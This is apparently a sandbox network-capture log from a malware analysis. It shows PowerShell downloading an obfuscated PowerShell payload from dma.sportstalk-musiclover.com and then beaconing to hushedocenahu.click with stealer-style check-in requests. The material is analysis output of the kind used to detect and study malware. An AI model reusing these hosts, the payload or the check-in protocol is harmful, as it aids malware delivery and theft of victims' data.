2024-12-25 14:09:03 UTC	1369	IN	Data Raw: 77 33 38 46 33 38 4a 33 38 5a 32 63 63 33 38 6b 33 38 53 33 33 58 32 63 43 33 38 7a 33 39 74 33 31 59 32 63 46 33 38 51 33 39 50 33 31 71 32 63 76 33 38 4c 33 38 6b 33 38 45 32 63 56 33 38 70 33 38 59 33 34 73 32 63 6e 33 38 48 33 38 77 33 33 70 32 63 44 33 38 55 33 38 62 33 33 6d 32 63 70 33 39 4c 33 30 67 33 32 65 32 63 51 33 38 41 33 38 49 33 36 6f 32 63 44 33 38 6d 33 38 65 33 38 56 32 63 65 33 38 6c 33 38 48 33 35 6c 32 63 68 33 38 7a 33 38 73 33 39 47 32 63 52 33 38 68 33 39 54 33 30 47 32 63 67 33 38 52 33 39 6c 33 30 56 32 63 6f 33 38 64 33 38 54 33 37 69 32 63 59 33 39 48 33 30 69 33 33 74 32 63 6a 33 38 6c 33 38 61 33 33 76 32 63 44 33 38 77 33 38 41 33 33 69 32 63 4b 33 38 44 33 39 4e 33 30 42 32 63 7a 33 38 4b 33 38 49 33 37 45 32 63 62 33 39 Data Ascii: w38F38J38Z2cc38k38S33X2cC38z39t31Y2cF38Q39P31q2cv38L38k38E2cV38p38Y34s2cn38H38w33p2cD38U38b33m2cp39L30g32e2cQ38A38I36o2cD38m38e38V2ce38l38H35l2ch38z38s39G2cR38h39T30G2cg38R39l30V2co38d38T37i2cY39H30i33t2cj38l38a33v2cD38w38A33i2cK38D39N30B2cz38K38I37E2cb39
2024-12-25 14:09:03 UTC	1369	IN	Data Raw: 33 38 62 33 39 51 33 30 63 32 63 7a 33 38 77 33 38 61 33 38 59 32 63 45 33 38 4d 33 39 6a 33 31 71 32 63 58 33 39 6e 33 30 63 33 34 75 32 63 68 33 38 45 33 38 46 33 37 45 32 63 73 33 38 4f 33 39 4a 33 30 58 32 63 79 33 39 4e 33 30 55 33 32 48 32 63 47 33 39 65 33 30 48 33 31 55 32 63 67 33 38 4f 33 38 4f 33 38 49 32 63 70 33 38 72 33 38 70 33 35 52 32 63 50 33 38 63 33 38 5a 33 35 6d 32 63 4b 33 39 47 33 30 46 33 34 63 32 63 65 33 39 45 33 30 73 33 33 78 32 63 4f 33 39 6e 33 30 54 33 35 6c 32 63 53 33 39 74 33 30 64 33 35 6c 32 63 63 33 39 54 33 30 53 33 35 5a 32 63 46 33 39 50 33 30 4a 33 34 49 32 63 5a 33 38 54 33 39 46 33 30 71 32 63 50 33 38 6f 33 38 70 33 36 50 32 63 70 33 39 57 33 30 4e 33 32 72 32 63 49 33 39 72 33 30 64 33 32 43 32 63 6d 33 38 4b Data Ascii: 38b39Q30c2cz38w38a38Y2cE38M39j31q2cX39n30c34u2ch38E38F37E2cs38O39J30X2cy39N30U32H2cG39e30H31U2cg38O38O38I2cp38r38p35R2cP38c38Z35m2cK39G30F34c2ce39E30s33x2cO39n30T35l2cS39t30d35l2cc39T30S35Z2cF39P30J34I2cZ38T39F30q2cP38o38p36P2cp39W30N32r2cI39r30d32C2cm38K
2024-12-25 14:09:03 UTC	1369	IN	Data Raw: 38 43 33 38 6a 33 36 65 32 63 58 33 38 46 33 38 54 33 33 4d 32 63 45 33 38 64 33 39 62 33 32 57 32 63 48 33 39 76 33 30 76 33 30 61 32 63 63 33 38 6a 33 38 50 33 39 66 32 63 77 33 39 59 33 30 61 33 33 68 32 63 47 33 38 4b 33 38 79 33 35 61 32 63 72 33 38 69 33 39 6a 33 30 64 32 63 74 33 39 78 33 30 4d 33 33 65 32 63 74 33 38 73 33 38 45 33 38 62 32 63 45 33 38 66 33 38 70 33 39 58 32 63 50 33 38 67 33 38 67 33 38 77 32 63 68 33 38 72 33 38 6f 33 33 73 32 63 58 33 38 7a 33 38 57 33 33 59 32 63 62 33 39 42 33 30 59 33 31 4e 32 63 47 33 38 74 33 39 55 33 30 57 32 63 75 33 38 78 33 39 64 33 32 4a 32 63 6a 33 39 52 33 30 68 33 30 6a 32 63 66 33 39 6e 33 30 61 33 33 51 32 63 69 33 39 44 33 30 52 33 33 61 32 63 64 33 38 43 33 38 73 33 39 7a 32 63 74 33 38 71 33 Data Ascii: 8C38j36e2cX38F38T33M2cE38d39b32W2cH39v30v30a2cc38j38P39f2cw39Y30a33h2cG38K38y35a2cr38i39j30d2ct39x30M33e2ct38s38E38b2cE38f38p39X2cP38g38g38w2ch38r38o33s2cX38z38W33Y2cb39B30Y31N2cG38t39U30W2cu38x39d32J2cj39R30h30j2cf39n30a33Q2ci39D30R33a2cd38C38s39z2ct38q3
2024-12-25 14:09:03 UTC	1369	IN	Data Raw: 54 33 38 70 33 38 6b 32 63 43 33 38 56 33 38 4c 33 39 52 32 63 70 33 38 79 33 38 56 33 38 57 32 63 4e 33 38 53 33 38 4f 33 38 68 32 63 4a 33 38 68 33 38 4d 33 39 72 32 63 6c 33 38 56 33 38 6e 33 33 6a 32 63 6c 33 38 45 33 39 73 33 30 55 32 63 47 33 39 4d 33 30 4c 33 32 4b 32 63 4e 33 38 42 33 39 4a 33 30 55 32 63 50 33 39 65 33 30 49 33 30 61 32 63 70 33 38 52 33 38 48 33 35 71 32 63 4d 33 39 62 33 30 69 33 35 71 32 63 55 33 39 66 33 30 70 33 33 77 32 63 4f 33 39 41 33 30 77 33 31 53 32 63 67 33 38 47 33 38 79 33 38 79 32 63 64 33 38 72 33 39 4c 33 32 64 32 63 6d 33 38 4b 33 38 49 33 38 4d 32 63 49 33 39 75 33 30 53 33 34 65 32 63 5a 33 39 6d 33 30 42 33 32 55 32 63 4e 33 39 77 33 30 57 33 31 4b 32 63 56 33 39 42 33 30 41 33 33 61 32 63 58 33 38 50 33 38 Data Ascii: T38p38k2cC38V38L39R2cp38y38V38W2cN38S38O38h2cJ38h38M39r2cl38V38n33j2cl38E39s30U2cG39M30L32K2cN38B39J30U2cP39e30I30a2cp38R38H35q2cM39b30i35q2cU39f30p33w2cO39A30w31S2cg38G38y38y2cd38r39L32d2cm38K38I38M2cI39u30S34e2cZ39m30B32U2cN39w30W31K2cV39B30A33a2cX38P38
2024-12-25 14:09:03 UTC	1369	IN	Data Raw: 33 38 46 33 38 4d 32 63 6e 33 38 73 33 38 74 33 35 4d 32 63 78 33 39 74 33 30 42 33 33 43 32 63 59 33 38 42 33 38 6b 33 38 4b 32 63 72 33 38 76 33 38 6c 33 36 50 32 63 45 33 39 78 33 30 68 33 34 67 32 63 4c 33 39 67 33 30 41 33 33 47 32 63 73 33 38 77 33 39 41 33 30 44 32 63 4f 33 38 4a 33 38 5a 33 34 62 32 63 78 33 38 77 33 38 46 33 38 6a 32 63 65 33 38 49 33 39 44 33 30 56 32 63 71 33 38 50 33 39 79 33 31 4a 32 63 6e 33 38 64 33 39 6b 33 30 6c 32 63 71 33 38 43 33 38 4b 33 37 44 32 63 46 33 39 59 33 30 42 33 35 47 32 63 72 33 38 6e 33 38 55 33 35 42 32 63 73 33 38 79 33 38 6f 33 39 50 32 63 62 33 38 4a 33 38 4e 33 36 76 32 63 71 33 39 43 33 30 6c 33 35 77 32 63 74 33 38 4d 33 38 71 33 38 76 32 63 69 33 38 72 33 38 53 33 35 4f 32 63 4d 33 39 50 33 30 4d Data Ascii: 38F38M2cn38s38t35M2cx39t30B33C2cY38B38k38K2cr38v38l36P2cE39x30h34g2cL39g30A33G2cs38w39A30D2cO38J38Z34b2cx38w38F38j2ce38I39D30V2cq38P39y31J2cn38d39k30l2cq38C38K37D2cF39Y30B35G2cr38n38U35B2cs38y38o39P2cb38J38N36v2cq39C30l35w2ct38M38q38v2ci38r38S35O2cM39P30M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	104.21.16.1	443	7176	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-25 14:09:09 UTC	89	OUT	GET /singl7.pst HTTP/1.1 Host: dma.sportstalk-musiclover.com Connection: Keep-Alive
2024-12-25 14:09:09 UTC	996	IN	HTTP/1.1 200 OK Date: Wed, 25 Dec 2024 14:09:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 8923628 Connection: close X-Powered-By: Express ETag: W/"8829ec-NGbaHnhYd+JyW+GaUTyrx1oB4Vs" Set-Cookie: connect.sid=s%3AQYYt7U2X_y9yv5f9RXAt7xon7x0nzXLn.wK%2FXff9EEf4YzlFeuJUfbz3bVRptOxI0KNGPah6tAA4; Path=/; HttpOnly cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K5HO8SRe4rcyJTcufhidQBu33lWkSpnWwrIDImMfVuHjX9VwzdttwzTFou7Jf9sA8Mui1uQq5zmUuurkxnlTASp9kxUdXbQqbt1i0hh1s8XVyqHieG4drxiU84atmkLrFuyICL5tWMsSjn9i5ZXOTQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f7968418c531899-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1666&min_rtt=1654&rtt_var=645&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2867&recv_bytes=703&delivery_rate=1662870&cwnd=153&unsent_bytes=0&cid=8209e72aafa5165d&ts=699&x=0"
2024-12-25 14:09:09 UTC	1369	IN	Data Raw: 24 65 62 59 79 33 32 4c 76 62 53 71 6b 37 75 6a 65 4c 48 68 4b 66 54 67 38 46 78 73 58 57 46 33 58 4b 72 78 33 78 63 33 52 51 41 51 6a 58 69 72 30 4e 54 68 66 42 42 75 43 44 72 52 35 34 38 31 6e 6c 52 62 69 4d 39 4d 44 61 37 6d 35 75 4e 49 31 47 64 72 6f 41 44 4d 58 51 69 31 68 55 43 68 70 52 31 65 76 50 6a 49 73 54 6b 34 50 33 37 4c 46 55 61 78 70 65 7a 62 4c 36 36 36 46 77 41 72 4b 36 5a 56 4b 4d 45 6b 71 71 74 72 44 35 32 47 4b 77 56 55 62 30 7a 32 68 7a 71 53 72 79 74 44 6f 48 39 4d 39 41 70 4d 4b 4a 67 4f 33 42 36 37 42 66 68 45 6b 49 6c 61 67 69 74 45 38 4d 78 58 37 52 35 51 46 34 68 52 45 4b 46 65 45 42 6f 6a 75 65 37 43 4a 68 58 61 59 31 68 6b 4b 73 73 6f 41 73 71 79 5a 50 41 71 53 5a 37 57 77 74 7a 39 39 53 35 6c 71 44 30 30 77 49 35 5a 6f 32 45 Data Ascii: $ebYy32LvbSqk7ujeLHhKfTg8FxsXWF3XKrx3xc3RQAQjXir0NThfBBuCDrR5481nlRbiM9MDa7m5uNI1GdroADMXQi1hUChpR1evPjIsTk4P37LFUaxpezbL666FwArK6ZVKMEkqqtrD52GKwVUb0z2hzqSrytDoH9M9ApMKJgO3B67BfhEkIlagitE8MxX7R5QF4hREKFeEBojue7CJhXaY1hkKssoAsqyZPAqSZ7Wwtz99S5lqD00wI5Zo2E
2024-12-25 14:09:09 UTC	1369	IN	Data Raw: 67 69 47 6d 36 4d 44 33 57 47 66 53 61 4a 4a 75 43 50 4d 46 4b 4b 63 6c 38 70 6e 6e 61 43 39 64 72 73 72 4f 71 4b 72 78 78 34 6e 57 6e 53 39 4c 58 79 32 44 67 76 35 6d 59 43 45 6d 4e 49 70 31 64 32 78 48 66 36 36 41 72 36 6b 34 72 7a 6d 33 6f 44 76 6e 46 39 32 48 4b 4d 51 69 59 30 76 37 46 4e 33 76 78 4f 72 62 43 38 72 6c 66 65 56 50 6d 77 51 38 54 57 33 52 78 53 66 77 66 77 49 65 43 73 6a 6f 4e 30 52 65 7a 75 7a 31 4f 6d 7a 49 75 63 6f 64 61 67 66 39 4f 46 61 57 70 39 50 61 70 74 53 41 49 6d 76 53 65 4d 46 53 47 75 6c 42 4e 68 49 78 75 59 74 56 32 6f 62 35 58 52 4b 4a 77 64 33 69 67 43 41 4f 6d 39 48 53 4d 6c 70 6b 6e 61 43 72 61 4f 38 5a 39 31 69 47 47 6a 55 4b 62 52 39 56 73 41 55 79 6f 53 70 68 38 59 47 54 4f 66 7a 49 4d 4d 36 49 31 38 65 20 3d 20 22 Data Ascii: giGm6MD3WGfSaJJuCPMFKKcl8pnnaC9drsrOqKrxx4nWnS9LXy2Dgv5mYCEmNIp1d2xHf66Ar6k4rzm3oDvnF92HKMQiY0v7FN3vxOrbC8rlfeVPmwQ8TW3RxSfwfwIeCsjoN0Rezuz1OmzIucodagf9OFaWp9PaptSAImvSeMFSGulBNhIxuYtV2ob5XRKJwd3igCAOm9HSMlpknaCraO8Z91iGGjUKbR9VsAUyoSph8YGTOfzIMM6I18e = "
2024-12-25 14:09:09 UTC	1369	IN	Data Raw: 68 68 51 4f 49 34 62 36 6e 69 37 31 65 79 73 74 4c 6d 69 58 69 58 4b 4a 72 4c 32 6b 6d 79 68 7a 53 42 47 63 59 70 63 66 59 61 6e 4f 6a 50 35 76 30 61 65 41 5a 51 4e 36 54 35 38 75 69 4e 70 36 42 54 64 6c 36 74 62 36 62 78 79 61 42 56 52 38 56 57 56 59 5a 63 30 4a 6e 36 38 72 6f 73 4c 65 79 38 52 55 58 41 31 61 69 64 46 42 63 41 5a 45 59 70 77 6e 38 70 6c 41 68 61 4a 6b 49 62 69 70 35 54 6a 38 4b 65 61 38 6f 4e 46 41 4e 74 4a 4c 79 64 7a 74 6d 30 6f 4d 4e 38 35 5a 78 6c 45 6f 63 33 6d 54 67 4d 51 57 55 63 34 31 47 6d 37 6e 48 36 66 73 56 47 44 6d 6d 65 45 6a 72 4e 66 6f 74 51 41 46 44 6a 4d 7a 78 33 51 75 69 6a 5a 6a 76 34 43 73 37 38 61 52 71 56 54 31 47 62 73 49 45 74 4e 5a 79 6d 49 63 33 49 44 77 65 35 58 36 78 33 56 4e 39 76 30 62 43 4d 6d 56 61 57 72 Data Ascii: hhQOI4b6ni71eystLmiXiXKJrL2kmyhzSBGcYpcfYanOjP5v0aeAZQN6T58uiNp6BTdl6tb6bxyaBVR8VWVYZc0Jn68rosLey8RUXA1aidFBcAZEYpwn8plAhaJkIbip5Tj8Kea8oNFANtJLydztm0oMN85ZxlEoc3mTgMQWUc41Gm7nH6fsVGDmmeEjrNfotQAFDjMzx3QuijZjv4Cs78aRqVT1GbsIEtNZymIc3IDwe5X6x3VN9v0bCMmVaWr
2024-12-25 14:09:09 UTC	1369	IN	Data Raw: 75 72 64 4b 52 57 6a 67 4c 6d 76 53 48 2d 31 32 2d 28 24 55 44 4d 63 57 2d 31 2d 28 24 75 72 64 4b 52 57 6a 67 4c 6d 76 53 48 2d 32 38 2d 39 29 29 29 2d 24 55 53 46 4b 6f 51 50 6a 74 6e 2d 34 36 2b 34 33 29 29 29 0d 0a 73 77 69 74 63 68 28 28 33 2b 31 38 2b 24 4c 62 43 74 5a 4c 43 53 57 76 52 53 77 29 2d 28 33 34 2d 32 36 2d 24 5a 4f 43 6d 6a 75 4a 44 50 73 66 29 2d 28 33 37 2d 34 30 2d 34 29 29 7b 0d 0a 28 28 28 28 24 45 66 43 4f 51 78 6a 77 73 64 41 2d 31 36 2d 24 71 63 48 78 45 54 57 74 70 78 45 43 46 2d 34 2d 34 34 2d 24 66 6f 48 55 4a 7a 6f 62 4d 57 29 29 2b 28 28 24 51 75 76 4d 4c 78 4b 69 48 43 54 2d 33 39 2d 32 33 29 29 29 29 20 0d 0a 7b 0d 0a 24 76 68 78 71 55 79 59 63 20 3d 20 36 31 30 0d 0a 24 49 61 6e 74 61 77 20 3d 20 24 4c 62 43 74 5a 4c 43 Data Ascii: urdKRWjgLmvSH-12-($UDMcW-1-($urdKRWjgLmvSH-28-9)))-$USFKoQPjtn-46+43)))switch((3+18+$LbCtZLCSWvRSw)-(34-26-$ZOCmjuJDPsf)-(37-40-4)){(((($EfCOQxjwsdA-16-$qcHxETWtpxECF-4-44-$foHUJzobMW))+(($QuvMLxKiHCT-39-23)))) {$vhxqUyYc = 610$Iantaw = $LbCtZLC
2024-12-25 14:09:09 UTC	1369	IN	Data Raw: 58 66 59 20 3d 20 35 35 39 0d 0a 24 4a 79 65 73 61 46 51 64 46 7a 57 52 4b 63 20 3d 20 24 6f 72 6a 4d 70 65 4e 0d 0a 24 49 79 62 63 44 48 47 6d 6a 54 20 3d 20 36 0d 0a 24 4e 49 41 73 69 65 20 3d 20 28 28 28 28 28 31 39 2a 32 33 2a 33 35 29 29 2d 31 36 2d 32 2b 28 33 38 2b 32 33 2b 35 29 29 2d 28 31 34 38 37 39 29 29 29 0d 0a 24 4e 4d 45 47 52 4f 20 3d 20 28 28 28 28 28 33 31 2d 37 2a 31 32 29 2a 34 31 2a 31 30 2d 28 34 2d 34 37 2a 33 31 2a 34 37 2a 31 32 2a 32 32 29 29 2d 28 33 34 2a 33 35 2a 38 29 29 2d 28 31 38 30 34 37 30 30 38 29 29 29 0d 0a 24 5a 79 71 47 47 20 3d 20 24 49 79 62 63 44 48 47 6d 6a 54 0d 0a 24 58 51 41 74 6c 6b 55 66 4d 20 3d 20 24 45 53 4b 57 51 6c 4e 6b 56 75 0d 0a 0d 0a 24 4b 53 59 6c 6e 74 59 44 6d 75 20 3d 20 28 28 24 66 6f 48 55 Data Ascii: XfY = 559$JyesaFQdFzWRKc = $orjMpeN$IybcDHGmjT = 6$NIAsie = (((((192335))-16-2+(38+23+5))-(14879)))$NMEGRO = (((((31-712)4110-(4-4731471222))-(3435*8))-(18047008)))$ZyqGG = $IybcDHGmjT$XQAtlkUfM = $ESKWQlNkVu$KSYlntYDmu = (($foHU
2024-12-25 14:09:09 UTC	1369	IN	Data Raw: 32 32 2b 24 4a 79 65 73 61 46 51 64 46 7a 57 52 4b 63 2d 28 28 24 51 75 76 4d 4c 78 4b 69 48 43 54 2d 34 32 2d 31 36 29 29 29 29 29 2b 28 35 39 37 29 29 0d 0a 24 50 4c 4c 79 6b 4a 77 58 63 44 7a 20 3d 20 28 28 28 28 31 2b 34 39 2b 32 39 29 29 29 2b 28 34 33 2d 31 32 2d 34 38 2b 34 35 2d 34 2d 28 24 6b 57 47 68 4f 54 55 7a 58 4e 53 65 68 51 2b 32 30 2d 34 38 29 29 2d 28 32 32 29 29 0d 0a 24 4f 65 72 55 47 56 6b 41 4d 65 20 3d 20 28 28 28 28 34 38 2b 33 34 2b 24 66 6f 48 55 4a 7a 6f 62 4d 57 29 29 29 2b 28 32 34 2b 34 35 2d 24 53 43 64 76 4e 72 72 29 2b 28 24 49 61 6e 74 61 77 2b 31 31 2b 28 24 4e 49 41 73 69 65 2b 32 34 2b 24 64 74 57 45 48 47 4f 77 69 6e 29 29 2b 28 28 34 36 2b 31 38 2b 34 29 29 2d 28 31 31 35 31 29 29 0d 0a 24 53 56 4a 58 61 63 4b 5a 54 Data Ascii: 22+$JyesaFQdFzWRKc-(($QuvMLxKiHCT-42-16)))))+(597))$PLLykJwXcDz = ((((1+49+29)))+(43-12-48+45-4-($kWGhOTUzXNSehQ+20-48))-(22))$OerUGVkAMe = ((((48+34+$foHUJzobMW)))+(24+45-$SCdvNrr)+($Iantaw+11+($NIAsie+24+$dtWEHGOwin))+((46+18+4))-(1151))$SVJXacKZT
2024-12-25 14:09:09 UTC	1369	IN	Data Raw: 0a 24 71 5a 53 64 46 6f 65 6a 57 63 74 20 3d 20 28 28 28 28 31 38 2d 31 30 2b 32 29 2b 24 71 63 48 78 45 54 57 74 70 78 45 43 46 2b 36 2b 31 31 29 29 2d 24 61 4a 76 63 55 54 52 48 52 70 65 2d 34 35 2b 24 4c 62 43 74 5a 4c 43 53 57 76 52 53 77 2d 24 45 66 43 4f 51 78 6a 77 73 64 41 2d 32 37 2d 24 55 44 4d 63 57 2b 31 39 2d 32 2d 31 33 2d 28 32 35 30 38 29 29 0d 0a 24 57 6e 44 69 52 4c 72 61 20 3d 20 28 28 28 28 34 30 2b 32 38 2b 24 4a 79 65 73 61 46 51 64 46 7a 57 52 4b 63 29 29 2b 24 59 73 4f 70 4b 57 76 7a 52 2d 34 35 2b 33 33 2b 28 34 31 2d 34 32 2b 34 34 29 29 2d 24 77 65 72 44 54 69 6b 61 6b 6d 62 4a 72 2b 33 39 2b 24 71 41 73 6e 76 50 62 50 6a 57 75 73 46 2d 24 54 74 6a 70 6d 44 69 79 5a 2d 34 2d 33 32 2d 28 34 33 31 29 29 0d 0a 24 6c 6d 6c 6e 6b 71 Data Ascii: $qZSdFoejWct = ((((18-10+2)+$qcHxETWtpxECF+6+11))-$aJvcUTRHRpe-45+$LbCtZLCSWvRSw-$EfCOQxjwsdA-27-$UDMcW+19-2-13-(2508))$WnDiRLra = ((((40+28+$JyesaFQdFzWRKc))+$YsOpKWvzR-45+33+(41-42+44))-$werDTikakmbJr+39+$qAsnvPbPjWusF-$TtjpmDiyZ-4-32-(431))$lmlnkq
2024-12-25 14:09:09 UTC	1369	IN	Data Raw: 79 6b 4a 77 58 63 44 7a 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 4f 65 72 55 47 56 6b 41 4d 65 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 53 56 4a 58 61 63 4b 5a 54 62 56 50 52 45 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 4c 63 5a 65 74 56 62 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 47 6f 78 51 4b 57 67 6e 75 4c 6d 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 4b 70 4f 6b 58 44 45 53 72 62 7a 66 73 4a 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 53 42 55 7a 6d 43 4a 41 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 6b 79 69 76 48 6d 57 61 50 63 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 6a 4f 48 41 70 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 58 55 63 61 71 55 6b 4e 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 41 51 4a 42 57 42 6b 6c 53 66 Data Ascii: ykJwXcDz + [char][int]$OerUGVkAMe + [char][int]$SVJXacKZTbVPRE + [char][int]$LcZetVb + [char][int]$GoxQKWgnuLm + [char][int]$KpOkXDESrbzfsJ + [char][int]$SBUzmCJA + [char][int]$kyivHmWaPc + [char][int]$jOHAp + [char][int]$XUcaqUkN + [char][int]$AQJBWBklSf
2024-12-25 14:09:09 UTC	564	IN	Data Raw: 53 57 76 52 53 77 29 2d 28 33 34 2d 32 36 2d 24 5a 4f 43 6d 6a 75 4a 44 50 73 66 29 2d 28 33 37 2d 34 30 2d 34 29 29 7b 0d 0a 28 28 28 28 24 45 66 43 4f 51 78 6a 77 73 64 41 2d 31 36 2d 24 71 63 48 78 45 54 57 74 70 78 45 43 46 2d 34 2d 34 34 2d 24 66 6f 48 55 4a 7a 6f 62 4d 57 29 29 2b 28 28 24 51 75 76 4d 4c 78 4b 69 48 43 54 2d 33 39 2d 32 33 29 29 29 29 20 0d 0a 7b 0d 0a 24 76 68 78 71 55 79 59 63 20 3d 20 36 31 30 0d 0a 24 49 61 6e 74 61 77 20 3d 20 24 4c 62 43 74 5a 4c 43 53 57 76 52 53 77 0d 0a 24 72 7a 74 47 4b 63 41 70 49 73 79 20 3d 20 24 55 53 46 4b 6f 51 50 6a 74 6e 0d 0a 24 6d 78 4b 42 63 6c 76 79 53 70 57 20 3d 20 24 4c 62 43 74 5a 4c 43 53 57 76 52 53 77 0d 0a 24 70 57 4d 74 73 43 76 73 20 3d 20 24 45 66 43 4f 51 78 6a 77 73 64 41 0d 0a 7d Data Ascii: SWvRSw)-(34-26-$ZOCmjuJDPsf)-(37-40-4)){(((($EfCOQxjwsdA-16-$qcHxETWtpxECF-4-44-$foHUJzobMW))+(($QuvMLxKiHCT-39-23)))) {$vhxqUyYc = 610$Iantaw = $LbCtZLCSWvRSw$rztGKcApIsy = $USFKoQPjtn$mxKBclvySpW = $LbCtZLCSWvRSw$pWMtsCvs = $EfCOQxjwsdA}
2024-12-25 14:09:09 UTC	1369	IN	Data Raw: 70 78 20 3d 20 28 28 28 33 38 2b 34 35 2b 34 34 2d 28 28 31 2d 32 32 2a 32 36 2b 28 34 32 2d 33 35 2b 31 36 29 29 29 29 2d 28 36 35 31 29 29 29 0d 0a 24 64 74 57 45 48 47 4f 77 69 6e 20 3d 20 28 28 28 33 2b 32 38 2a 28 31 35 2b 34 39 2b 37 29 2a 31 38 2b 31 31 2d 28 32 2b 32 39 2d 33 39 29 29 2d 28 33 35 35 34 35 29 29 29 0d 0a 62 72 65 61 6b 0d 0a 7d 24 6b 68 63 4e 65 4c 78 20 3d 20 38 39 33 0d 0a 24 6f 72 6a 4d 70 65 4e 20 3d 20 24 6a 72 4f 67 46 55 56 49 64 0d 0a 24 71 41 73 6e 76 50 62 50 6a 57 75 73 46 20 3d 20 28 28 24 77 65 72 44 54 69 6b 61 6b 6d 62 4a 72 2b 32 34 2b 28 31 34 2b 32 31 2b 24 6d 78 4b 42 63 6c 76 79 53 70 57 29 2d 38 2b 32 31 2d 33 33 29 2b 24 75 72 64 4b 52 57 6a 67 4c 6d 76 53 48 2d 34 35 2d 32 33 29 0d 0a 24 6b 58 7a 74 51 52 41 Data Ascii: px = (((38+45+44-((1-2226+(42-35+16))))-(651)))$dtWEHGOwin = (((3+28(15+49+7)*18+11-(2+29-39))-(35545)))break}$khcNeLx = 893$orjMpeN = $jrOgFUVId$qAsnvPbPjWusF = (($werDTikakmbJr+24+(14+21+$mxKBclvySpW)-8+21-33)+$urdKRWjgLmvSH-45-23)$kXztQRA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49823	104.21.112.1	443	8032	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-25 14:10:32 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: hushedocenahu.click
2024-12-25 14:10:32 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-25 14:10:33 UTC	1125	IN	HTTP/1.1 200 OK Date: Wed, 25 Dec 2024 14:10:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pf83kp26gkdnadmd5j7kqlpp1j; expires=Sun, 20 Apr 2025 07:57:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hp3pTDU9UhWiiGlkwxFkqRuNHG94%2BfCfyUV6AOW82KAvFITCDJYkcgyyv2XUApWKM%2B2aQFWkjB%2FN25pPs9kutTcq3gIHPIqQl7j6v0A6pdC2MO57DEebaE31aVIrvoxhrC2ZXlXR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f796a4cc9bd727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1916&min_rtt=1908&rtt_var=731&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=910&delivery_rate=1479979&cwnd=232&unsent_bytes=0&cid=bca6346b8a55ec04&ts=738&x=0"
2024-12-25 14:10:33 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-25 14:10:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49825	104.21.112.1	443	8032	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-25 14:10:34 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48 Host: hushedocenahu.click
2024-12-25 14:10:34 UTC	48	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 37 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yJEcaG--singl7&j=
2024-12-25 14:10:35 UTC	1129	IN	HTTP/1.1 200 OK Date: Wed, 25 Dec 2024 14:10:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e3a58f0ggn627o4k5inq75fqia; expires=Sun, 20 Apr 2025 07:57:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: 